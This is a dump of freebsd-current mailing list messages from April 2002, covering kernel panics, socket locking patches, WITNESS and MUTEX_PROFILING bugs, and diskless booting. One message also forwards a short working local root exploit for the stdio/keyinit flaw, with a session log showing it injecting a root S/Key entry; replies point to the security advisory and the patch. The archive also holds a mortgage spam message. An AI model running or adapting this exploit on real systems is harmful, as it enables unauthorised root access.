> >#1  0xc0207cb0 in boot (howto=260) at
> >#/local0/scratch/usr/src/sys/kern/kern_shutdown.c:338
> >#2  0xc020814f in panic (fmt=0xc0367580 "sleeping thread owns a mutex")
> > at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:648
> >#3  0xc0200a35 in propagate_priority (td=0xcd23d400)
> > at /local0/scratch/usr/src/sys/kern/kern_mutex.c:110
> 
> Can you go to this frame, then dump the contents of 'm' to find the misbehaving
> mutex?

$2 = {mtx_object = {lo_class = 0xc03b1fc0, lo_name = 0xc76785a0 "PCPU 16384", lo_flags 
= 4390912,
lo_list = {stqe_next = 0x0}, lo_witness = 0x0}, mtx_lock = 3453968642, mtx_recurse 
= 0,
  mtx_blocked = {tqh_first = 0xcd23d400, tqh_last = 0xcd23d428}, mtx_contested = 
{le_next = 0x0,
le_prev = 0xcddf6160}}

> WITNESS should have warned about this but I guess getting people to run
> WITNESS is too much to ask.

WITNESS disables itself after about 30 seconds under load on the ports
cluster..something about some resource becoming exhausted.  I tried
increasing the number of whatever resource it was by a factor of 8,
but it was still occurring after a longer time interval, so I gave up
and just turned it off.

Kris



msg37701/pgp0.pgp
Description: PGP signature

Re: Spin lock (?) problems with MUTEX_PROFILING

[Dag-Erling Smorgrav]

John Baldwin <[EMAIL PROTECTED]> writes:
> This means WITNESS is broken with MUTEX_PROFIING (I guess they were
> never tested together without WITNESS_SKIPSPIN).

WITNESS makes my box about as useful as a heap of bricks, so no,
MUTEX_PROFILING was never tested with WITNESS.

>   The fix is for the
> MUTEX_PROFILING folks to add the spin lock into the spin lock order
> list in the proper location.

Junior kernel hacker task.  Note that it's always a leaf lock - no
lock is ever acquired while the profiling lock is held.

DES
-- 
Dag-Erling Smorgrav - [EMAIL PROTECTED]

To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Locking down a socket, milestone 1

[Alfred Perlstein]

* Jeffrey Hsu <[EMAIL PROTECTED]> [020425 10:50] wrote:
> In article <[EMAIL PROTECTED]> you write:
> >I am now working on locking down a socket.  (I have heard that Jeffrey
> >Hsu is also doing that, but I have never seen his patch.  Has anyone
> >seen that?)
> 
> I have. :-)  I do coarse-grain locking at the inpcb and sockbuf level as
> is done in BSD/OS.  This is a lot simpler than locking down individual
> fields in struct socket.  Are you sure we need such fine-grain locking?

Huh?  BSD/OS's source drop has two locks in each socket and a couple
of global locks for things like the inpcb and such, it's pretty
fine grained except the unix domain sockets where a global lock is
held to protect against lock order reversals when having to lock
both sockets.

-- 
-Alfred Perlstein [[EMAIL PROTECTED]]
'Instead of asking why a piece of software is using "1970s technology,"
 start asking why software is ignoring 30 years of accumulated wisdom.'
Tax deductible donations for FreeBSD: http://www.freebsdfoundation.org/

To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Revision 1.88 of kern_linker.c breaks module loading for diskless

[Harti Brandt]

Hello,

the check for rootdev != NODEV introduced in rev 1.88 breaks loading of
kernel modules from an NFS mounted root in diskless configurations.
Dropping in gdb and printing rootdev shows -1 which is, I assume, NODEV.
This worked before without problems.

harti
-- 
harti brandt, http://www.fokus.gmd.de/research/cc/cats/employees/hartmut.brandt/private
  [EMAIL PROTECTED]



To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

RE: linux broken?

[John Baldwin]

On 25-Apr-2002 Julian Elischer wrote:
> 
> 
> after a complete resup, re-checkout and recompile
> on trying to load the linux module:
> 
> link_elf: symbol semop undefined
> 
> 
> Anyone have a quick fix?

kldload sysvipc.ko or compile the SYSV stuff into your kernel.
Perhaps the linux kld needs to have a module dependency on
the sysvipc modules?

> julian

-- 

John Baldwin <[EMAIL PROTECTED]>  <><  http://www.FreeBSD.org/~jhb/
"Power Users Use the Power to Serve!"  -  http://www.FreeBSD.org/

To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

RE: 4 panics under 5.0 on ports cluster

[John Baldwin]

On 25-Apr-2002 Kris Kennaway wrote:
> panic: sleeping thread owns a mutex
> Uptime: 8h52m59s
> (kgdb) bt
>#0  dumpsys () at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:506
>#1  0xc0207cb0 in boot (howto=260) at
>#/local0/scratch/usr/src/sys/kern/kern_shutdown.c:338
>#2  0xc020814f in panic (fmt=0xc0367580 "sleeping thread owns a mutex")
> at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:648
>#3  0xc0200a35 in propagate_priority (td=0xcd23d400)
> at /local0/scratch/usr/src/sys/kern/kern_mutex.c:110

Can you go to this frame, then dump the contents of 'm' to find the misbehaving
mutex?  WITNESS should have warned about this but I guess getting people to run
WITNESS is too much to ask.

-- 

John Baldwin <[EMAIL PROTECTED]>  <><  http://www.FreeBSD.org/~jhb/
"Power Users Use the Power to Serve!"  -  http://www.FreeBSD.org/

To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

RE: Spin lock (?) problems with MUTEX_PROFILING

[John Baldwin]

On 24-Apr-2002 Hiten Pandya wrote:
> Hi all,
> 
> I am not generating a false alarm, but I compiled a fresh kernel
> yesterday with the MUTEX_PROFILING option, and it just went haywire just
> after the FreeBSD copyright messages and the build info:
> 
>   [ Copyright Info ]
>   [ Build Information ]
>   panic: spin lock mutex profiling lock not in order list
> 
> I had no idea how to debug this, so I am sending it to the -current list
> and cc'ing a copy to DES.  I am also attaching my kernel configuration
> file for reference purposes.

This means WITNESS is broken with MUTEX_PROFIING (I guess they were never
tested together without WITNESS_SKIPSPIN).  The fix is for the MUTEX_PROFILING
folks to add the spin lock into the spin lock order list in the proper location.

-- 

John Baldwin <[EMAIL PROTECTED]>  <><  http://www.FreeBSD.org/~jhb/
"Power Users Use the Power to Serve!"  -  http://www.FreeBSD.org/

To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: FreeBSD security hole?

[Michael Sierchio]

Kris Kennaway wrote:
> On Thu, Apr 25, 2002 at 02:22:10PM +0600, Vladimir G. Drobyshevsky wrote:
> 
>>Have a nice day!
>>
>>  Yesterday I received that message from one of linux guys:
> 
> 
> Perhaps you should read the security advisories we release.

I never saw this, and thought I was subscribed to the security-announce
list!


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: FreeBSD security hole?

[David W. Chapman Jr.]

On Thu, Apr 25, 2002 at 02:56:26PM +0600, Vladimir G. Drobyshevsky wrote:
> Hello all!
> 
> >> stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE
> >> decided to make a trivial exploit to easily get root :)
> 
> CW> Indeed, see security advisory FreeBSD-SA-02:23.stdio at:
> CW> ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:23.stdio.asc
> CW> Please upgrade to 4.5-p4 or 4-STABLE (April 21 or after).
> That's really strange - I subscribed to
> freebsd-security-notifications, but didn't receved that message. Or
> just readed it by Delete key. ;-)
> 
> Anyway, thank you for your help.
> 
It was on anounce as well for future reference.

-- 
David W. Chapman Jr.
[EMAIL PROTECTED]   Raintree Network Services, Inc. 
[EMAIL PROTECTED]   FreeBSD Committer 

To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Cash Out

[Cortney Dreifort]

Don't be raped by high interest rates!




http://211.91.3.16/cl5/index.php




Some types of rates start under 5%


Fed will most likly begin to raise rates soon.


Take 2 minutes for a FREE Quote!


http://211.91.3.16/cl5/index.php




Mortgage rates have NEVER been lower.


Is your credit good?  Get a loan beyond your wildest expectations!


Your credit stinks?  Lenders will still give you an absolutely amazing loan.


Just click here and get started  http://211.91.3.16/cl5/index.php


For Removal just hit reply and put "REMOVE" in the subject line. 


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

A sigio lock (was: Re: Locking down a socket, milestone 1)

[Seigo Tanimura]

On Thu, 25 Apr 2002 18:01:51 +0900,
  Seigo Tanimura <[EMAIL PROTECTED]> said:

Seigo> On Thu, 25 Apr 2002 01:36:44 -0700,
Seigo>   Alfred Perlstein <[EMAIL PROTECTED]> said:

bright> * Seigo Tanimura <[EMAIL PROTECTED]> [020425 01:19] wrote:
>>> >> 
>>> >> http://people.FreeBSD.org/~tanimura/patches/socket_milestone1.diff.gz
>>> >> 

bright> Why is there a "sigio" lock in this delta?

Seigo> I should have stripped that out, but my patch would result in lock
Seigo> order reversal between a socket lock and a process lock.  As we
Seigo> protect p_fd by a process lock, we have to lock it prior to locking a
Seigo> file descriptor or a socket.

Seigo> I suppose I have to commit the stripped patch of a sigio lock first.

The patch of a sigio lock is not stripped out at:

http://people.FreeBSD.org/~tanimura/patches/sigio.diff.gz

-- 
Seigo Tanimura <[EMAIL PROTECTED]> <[EMAIL PROTECTED]>

To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting

[Andrew Gordon]

On Wed, 24 Apr 2002, M. Warner Losh wrote:

> In message: <[EMAIL PROTECTED]>
> "David O'Brien" <[EMAIL PROTECTED]> writes:
> : On Tue, Apr 23, 2002 at 12:19:58PM -0400, Robert Watson wrote:
> : > diskless_root_readonly="NO"   # Make it "YES" for readonly
> :
> : good.
>
> What's wrong with the current root_rw_mount knob?

It works just fine.

The original complaint was that Danny's patches _assume_ that the root is
going to remain R/O and just provide two ways of populating the MFS /etc,
rather than allowing for the case where the MFS /etc isn't required at
all. (actually, this is just reversing a recent obrien improvement to
rc.diskless1 that made the MFS /etc conditional - it's still automatic in
-stable and has been for a long while).  There isn't a problem with
controlling the root mount; diskless_root_readonly is a solution to a
non-problem.

The real problem is that (in the case where you want it) there is no one
good way of constructing the MFS /etc - there are lots of bad ways,
various of which have been committed to rc.diskless1 at different times,
and still more used privately:

   1) Create an MFS mounted on an arbitrary mountpoint, then use
  mount_null to install it over /etc when it's been populated.
  This was the original version when the support for read-only
  root appeared in rc.diskless back in 1999 (3.2-RELEASE).
  Gave problems because null mounts didn't (still don't?) work
  very well - mmap() caused panic for example.

   2) Copy the files out of /etc into /tmp, then mount the MFS
  directly on /etc and copy the files back again.
  This appeared in 2001 (4.3-RELEASE)

   3) Avoid the double copy on each boot by requiring the administrator
  to keep a copy in /conf/default/etc that can be copied directly to
  an MFS mounted on /etc.
  This appeared a couple of months later (4.4-RELEASE).

   4) Small performance improvement on 3) - use a gzipped CPIO archive
  if available, rather than copying lots of small files which
  can be slow over NFS.
  This has just recently been committed to -stable by Luigi.

   5) Danny's solution: Mount the MFS on /conf/etc, then use unionfs
  mounts to install it over /etc.  Does unionfs work any better
  than mount_null?

   6) My solution: Mount a second instance of the root FS on /conf/default
  then copy as in 3).  Avoids maintaining two copies of /etc, but
  only works on NFS and doesn't solve the performance problem.



To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

linux broken?

[Julian Elischer]

after a complete resup, re-checkout and recompile
on trying to load the linux module:

link_elf: symbol semop undefined


Anyone have a quick fix?

julian



To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: PPPoE using aue ethernet goes kernel panic

[Makoto Matsushita]

matusita> I must provide more detailed information, but here's quick report.

Using trace command, this panic is caused by:

usbd_open_pipe_ival(c40416e0, 1, c8148858, ) at 
usbd_open_pipe_ival+0x1d
usbd_open_pipe(c40416e0, 81, 1, c8148858, c40769c0, c8148880, 2, 1, c8148880, 
2) at usbd_open_pipe+0x1a
aue_init(...)

(this is by hand copy, so it may have some typos).

-- -
Makoto `MAR' Matsushita

To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

PPPoE using aue ethernet goes kernel panic

[Makoto Matsushita]

Following are observed with 5-current kernel as of Apr/25/2002.

Fatal trap 12: page fault while in kernel mode
fault virtual address   = 0x6
fault code  = supervisor read, page not present
instruction pointer = 0x8:0xc01898d1
stack pointer   = 0x10:0xc9476b24
frame pointer   = 0x10:0xc9476b40
code segment= base 0x0, limit 0xf, type 0x1b
= DPL 0, pres 1, def32 1, gran 1
processor eflags= interrupt enabled, resume, IOPL = 0
current process = 136 (ppp)
trap number = 12
panic: page fault

I'm subscribing NTT's ADSL line, and using 'aue' USB ethernet for
PPPoE device.  The kernel boots fine, detecting my aue0, but while
/etc/rc is running, kernel panics.

I must provide more detailed information, but here's quick report.

-- -
Makoto `MAR' Matsushita

To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Locking down a socket, milestone 1

[Seigo Tanimura]

On Thu, 25 Apr 2002 01:36:44 -0700,
  Alfred Perlstein <[EMAIL PROTECTED]> said:

bright> * Seigo Tanimura <[EMAIL PROTECTED]> [020425 01:19] wrote:
>> >> 
>> >> http://people.FreeBSD.org/~tanimura/patches/socket_milestone1.diff.gz
>> >> 

bright> Why is there a "sigio" lock in this delta?

I should have stripped that out, but my patch would result in lock
order reversal between a socket lock and a process lock.  As we
protect p_fd by a process lock, we have to lock it prior to locking a
file descriptor or a socket.

I suppose I have to commit the stripped patch of a sigio lock first.

Speaking of the sigio lock, is that likely to apply to a pipe as well?

-- 
Seigo Tanimura <[EMAIL PROTECTED]> <[EMAIL PROTECTED]>

To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re[2]: FreeBSD security hole?

[Vladimir G. Drobyshevsky]

Hello all!

>> stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE
>> decided to make a trivial exploit to easily get root :)

CW> Indeed, see security advisory FreeBSD-SA-02:23.stdio at:
CW> ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:23.stdio.asc
CW> Please upgrade to 4.5-p4 or 4-STABLE (April 21 or after).
That's really strange - I subscribed to
freebsd-security-notifications, but didn't receved that message. Or
just readed it by Delete key. ;-)

Anyway, thank you for your help.

-- 
Best regards,
  Vl




To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: FreeBSD security hole?

[Kris Kennaway]

On Thu, Apr 25, 2002 at 02:22:10PM +0600, Vladimir G. Drobyshevsky wrote:
> Have a nice day!
> 
>   Yesterday I received that message from one of linux guys:

Perhaps you should read the security advisories we release.

Kris



msg37685/pgp0.pgp
Description: PGP signature

4 panics under 5.0 on ports cluster

[Kris Kennaway]

I've had 4 panics on the ports cluster in the past couple of days.
They're running kernels from March 31 which have been very stable
since then, but on the other hand I've been building packages
intensively for the past few days.  Is there anything interesting
here?  I have the cores if more information is needed.

Kris

panic: ffs_valloc: dup alloc
Uptime: 3d6h42m19s
(kgdb) bt
#0  dumpsys () at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:506
#1  0xc0207cb0 in boot (howto=260) at 
/local0/scratch/usr/src/sys/kern/kern_shutdown.c:338
#2  0xc020814f in panic (fmt=0xc037f781 "ffs_valloc: dup alloc")
at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:648
#3  0xc02cb682 in ffs_valloc (pvp=0xdb4d7000, mode=16832, cred=0xdcc4b180, 
vpp=0xd9627ac8)
at /local0/scratch/usr/src/sys/ufs/ffs/ffs_alloc.c:639
#4  0xc02e0b15 in ufs_mkdir (ap=0xd9627c14) at 
/local0/scratch/usr/src/sys/ufs/ufs/ufs_vnops.c:1380
#5  0xc02e1d85 in ufs_vnoperate (ap=0xd9627c14)
at /local0/scratch/usr/src/sys/ufs/ufs/ufs_vnops.c:2660
#6  0xc024a06a in vn_mkdir (path=0x804f3e0 "./share/doc/ja", mode=448, 
segflg=UIO_USERSPACE,
td=0xd9414a00) at vnode_if.h:537
#7  0xc0249e90 in mkdir (td=0xd9414a00, uap=0xd9627d20)
at /local0/scratch/usr/src/sys/kern/vfs_syscalls.c:3647
#8  0xc0326d8f in syscall (frame={tf_fs = 47, tf_es = 47, tf_ds = 47, tf_edi = 0, 
tf_esi = 134580224,
  tf_ebp = -1077938244, tf_isp = -647856780, tf_ebx = 134542315, tf_edx = 
134535775,
  tf_ecx = 672225016, tf_eax = 136, tf_trapno = 12, tf_err = 2, tf_eip = 
671827427, tf_cs = 31,
  tf_eflags = 647, tf_esp = -1077938384, tf_ss = 47})
at /local0/scratch/usr/src/sys/i386/i386/trap.c:1033
#9  0xc0317b1d in syscall_with_err_pushed ()
#10 0x804c4c1 in ?? ()
#11 0x804c4c1 in ?? ()
#12 0x804c4c1 in ?? ()
#13 0x804bfa3 in ?? ()
#14 0x804b511 in ?? ()
#15 0x80493c9 in ?? ()
(kgdb)

panicstr: ffs_valloc: dup alloc
panic messages:
---
dmesg: kvm_read:
---
#0  dumpsys () at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:506
506 /local0/scratch/usr/src/sys/kern/kern_shutdown.c: No such file or directory.
(kgdb) bt
#0  dumpsys () at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:506
#1  0xd933b14c in ?? ()
#2  0xc0207cb0 in boot (howto=260) at 
/local0/scratch/usr/src/sys/kern/kern_shutdown.c:338
#3  0xc020814f in panic (fmt=0xc037f781 "ffs_valloc: dup alloc")
at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:648
#4  0xc02cb682 in ffs_valloc (pvp=0xd99d3b2c, mode=16895, cred=0xdb1f2600, 
vpp=0xdb4ccac8)
at /local0/scratch/usr/src/sys/ufs/ffs/ffs_alloc.c:639
#5  0xc02e0b15 in ufs_mkdir (ap=0xdb4ccc14) at 
/local0/scratch/usr/src/sys/ufs/ufs/ufs_vnops.c:1380
#6  0xc02e1d85 in ufs_vnoperate (ap=0xdb4ccc14)
at /local0/scratch/usr/src/sys/ufs/ufs/ufs_vnops.c:2660
#7  0xc024a06a in vn_mkdir (path=0x8093040 , mode=511,
segflg=UIO_USERSPACE, td=0xdb483100) at vnode_if.h:537
#8  0xc0249e90 in mkdir (td=0xdb483100, uap=0xdb4ccd20)
at /local0/scratch/usr/src/sys/kern/vfs_syscalls.c:3647
#9  0xc0326d8f in syscall (frame={tf_fs = 47, tf_es = 47, tf_ds = 47, tf_edi = 0, 
tf_esi = 134819904,
  tf_ebp = -1077938120, tf_isp = -615723660, tf_ebx = 134819914, tf_edx = -1, 
tf_ecx = 47,
  tf_eax = 136, tf_trapno = 12, tf_err = 2, tf_eip = 134605092, tf_cs = 31, 
tf_eflags = 647,
  tf_esp = -1077938164, tf_ss = 47}) at 
/local0/scratch/usr/src/sys/i386/i386/trap.c:1033
#10 0xc0317b1d in syscall_with_err_pushed ()
Cannot access memory at address 0xbfbff838.

panic: sleeping thread owns a mutex
Uptime: 8h52m59s
(kgdb) bt
#0  dumpsys () at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:506
#1  0xc0207cb0 in boot (howto=260) at 
/local0/scratch/usr/src/sys/kern/kern_shutdown.c:338
#2  0xc020814f in panic (fmt=0xc0367580 "sleeping thread owns a mutex")
at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:648
#3  0xc0200a35 in propagate_priority (td=0xcd23d400)
at /local0/scratch/usr/src/sys/kern/kern_mutex.c:110
#4  0xc0200ffb in _mtx_lock_sleep (m=0xc767866c, opts=0,
file=0xc03858e0 "/local0/scratch/usr/src/sys/vm/uma_core.c", line=1489)
at /local0/scratch/usr/src/sys/kern/kern_mutex.c:389
#5  0xc0200c6b in _mtx_lock_flags (m=0xc767866c, opts=0,
file=0xc03858e0 "/local0/scratch/usr/src/sys/vm/uma_core.c", line=1489)
at /local0/scratch/usr/src/sys/kern/kern_mutex.c:208
#6  0xc02f3017 in uma_zfree_arg (zone=0xc76785a0, item=0xd0dc2000, udata=0xcfa75678)
at /local0/scratch/usr/src/sys/vm/uma_core.c:1489
#7  0xc01ffb5d in free (addr=0xd0dc2000, type=0xc03c5280)
at /local0/scratch/usr/src/sys/kern/kern_malloc.c:232
#8  0xc02d61e2 in softdep_disk_write_complete (bp=0xc772b650)
at /local0/scratch/usr/src/sys/ufs/ffs/ffs_softdep.c:3550
#9  0xc023b011 in bufdone (bp=0xc772b650) at /local0/scratch/usr/src/sys/sys/buf.h:405
#10 0xc023aedf in bufdonebio (bp=0xc772b650) at 
/local0/scratch/usr/src/sys/kern/vfs_bio.c:2805
#11 0xc017e571 in ad_interrupt (request=0xcf21fb40) at 
/local0/scratch/usr/src/sys/sys/

Re: Locking down a socket, milestone 1

[Alfred Perlstein]

* Seigo Tanimura <[EMAIL PROTECTED]> [020425 01:19] wrote:
> >> 
> >> http://people.FreeBSD.org/~tanimura/patches/socket_milestone1.diff.gz
> >> 

This looks really good so far!

Needs some more comments explaining socq_lock.

Watch long line wraps.

Why is there a "sigio" lock in this delta?

-- 
-Alfred Perlstein [[EMAIL PROTECTED]]
'Instead of asking why a piece of software is using "1970s technology,"
 start asking why software is ignoring 30 years of accumulated wisdom.'
Tax deductible donations for FreeBSD: http://www.freebsdfoundation.org/

To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: FreeBSD security hole?

[Cedric Ware]

Hello,

> stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE 
> decided to make a trivial exploit to easily get root :)

Indeed, see security advisory FreeBSD-SA-02:23.stdio at:
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:23.stdio.asc

Please upgrade to 4.5-p4 or 4-STABLE (April 21 or after).

Regards,
Cedric Ware.


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

FreeBSD security hole?

[Vladimir G. Drobyshevsky]

Have a nice day!

  Yesterday I received that message from one of linux guys:

--- forward message ---

/*
phased/b10z
[EMAIL PROTECTED] 
23/04/2002

stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE 
decided to make a trivial exploit to easily get root :)

> id
uid=1003(phased) gid=999(phased) groups=999(phased)
> ./iosmash
Adding phased:
<--- HIT CTRL-C ---> 
> su
s/key 98 snosoft2
Password:MASS OAT ROLL TOOL AGO CAM
xes# 

this program makes the following skeys valid

95: CARE LIVE CARD LOFT CHIC HILL
96: TESS OIL WELD DUD MUTE KIT
97: DADE BED DRY JAW GRAB NOV
98: MASS OAT ROLL TOOL AGO CAM
99: DARK LEW JOLT JIVE MOS WHO


cheers Joost Pol
*/

#include 
#include 

int main(int argc, char *argv[]) {
while(dup(1) != -1);
close(2);
execl("/usr/bin/keyinit",
"\nroot 0099 snosoft2 6f648e8bd0e2988a Apr 23,2666 01:02:03\n");
}

--- forward message ---

He ask me to verify that information. I did. And it works.

And the second message that I recived today:

--- message ---

phased had some comments he wanted me to forward on to the lists in
regards to his latest exploit.

He says that skeys are used via all authentication methods... i.e telnet, so 
someone could change the user to someone in the wheel group. Haven't used 
skeys via ssh yet but I presume it works. Root obviously can't just telnet 
in by default but usually can ssh, but if the box being exploited contains 
people in the wheel group you can change the root user in the exploit to any 
user to log in via skeys as that user.

--- message ---

I not so well understand in interiors of system, I only see,
that during 30 seconds have got access to the root account
(of course, from the account of the user who is included in group wheel,
differently su, naturally, not gives access).

Therefore I ask to comment on these messages. How dangerous can it be?

--
 Sincerelly yours,
   Vl




To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Locking down a socket, milestone 1

[Seigo Tanimura]

On Wed, 24 Apr 2002 10:18:01 -0400 (EDT),
  John Baldwin <[EMAIL PROTECTED]> said:

jhb> On 24-Apr-2002 Seigo Tanimura wrote:
>> I am now working on locking down a socket.  (I have heard that Jeffrey
>> Hsu is also doing that, but I have never seen his patch.  Has anyone
>> seen that?) My first milestone patch is now available at:
>> 
>> 
>> http://people.FreeBSD.org/~tanimura/patches/socket_milestone1.diff.gz
>> 
>> 
>> The works I have done so far are:
>> 
>> 
>> - Determine the lock required to protect each of the members in struct
>> socket.
>> 
>> - Add mutexes to each of the sockbufs in a socket as BSD/OS does.
>> 
>> - Lock down so_count, so_options, so_linger and so_state.
>> 
>> - Add a global mutex socq_lock to protect the connection queues of a
>> listening socket.  Lock socq_lock to lock two sockets at once,
>> followed by enqueuing or dequeuing a socket, or moving a socket across
>> queues.  socq_lock is not an sx lock because we usually have to lock
>> two sockets to modify them.

jhb> Do you actually lock two sockets at once or do you lock one at a time while
jhb> holding socq_lock.  If you do lock two at once, what is the defined locking
jhb> order?

At the moment, I lock two sockets at once.  This is required, eg in
soisconnected() to move an accepting socket across the connection
queues of a listening socket.  The lock order is:

1. socq_lock
2. an accepting socket
3. a listening socket (in so_head of the accepting socket)

-- 
Seigo Tanimura <[EMAIL PROTECTED]> <[EMAIL PROTECTED]>

To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Locking down a socket, milestone 1

[Seigo Tanimura]

On Wed, 24 Apr 2002 08:57:41 -0400,
  Bosko Milekic <[EMAIL PROTECTED]> said:

bmilekic> I've literally just had time to glance at this so far, but can you, if
bmilekic> you don't mind, please just briefly explain what BSD/OS does with
bmilekic> sockbuf locking (do they use the same lock, or...?)

In BSD/OS, each of the sockbufs in a socket has a mutex.  It protects
the data in the sockbuf.  In addition, the mutex of the receive
sockbuf also protects the whole data of the socket as well.  BSD/OS
seems to have no global locks to protect the relation between sockets.

One thing I am not sure is the lock requirement upon waking up a
process tsleeping for socket operation.  In BSD/OS, some parts wake
up processes with a socket locked, while the other parts not.  I am
going to make all of the functions calling sowakeup() to lock a socket
first.

-- 
Seigo Tanimura <[EMAIL PROTECTED]> <[EMAIL PROTECTED]>

To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message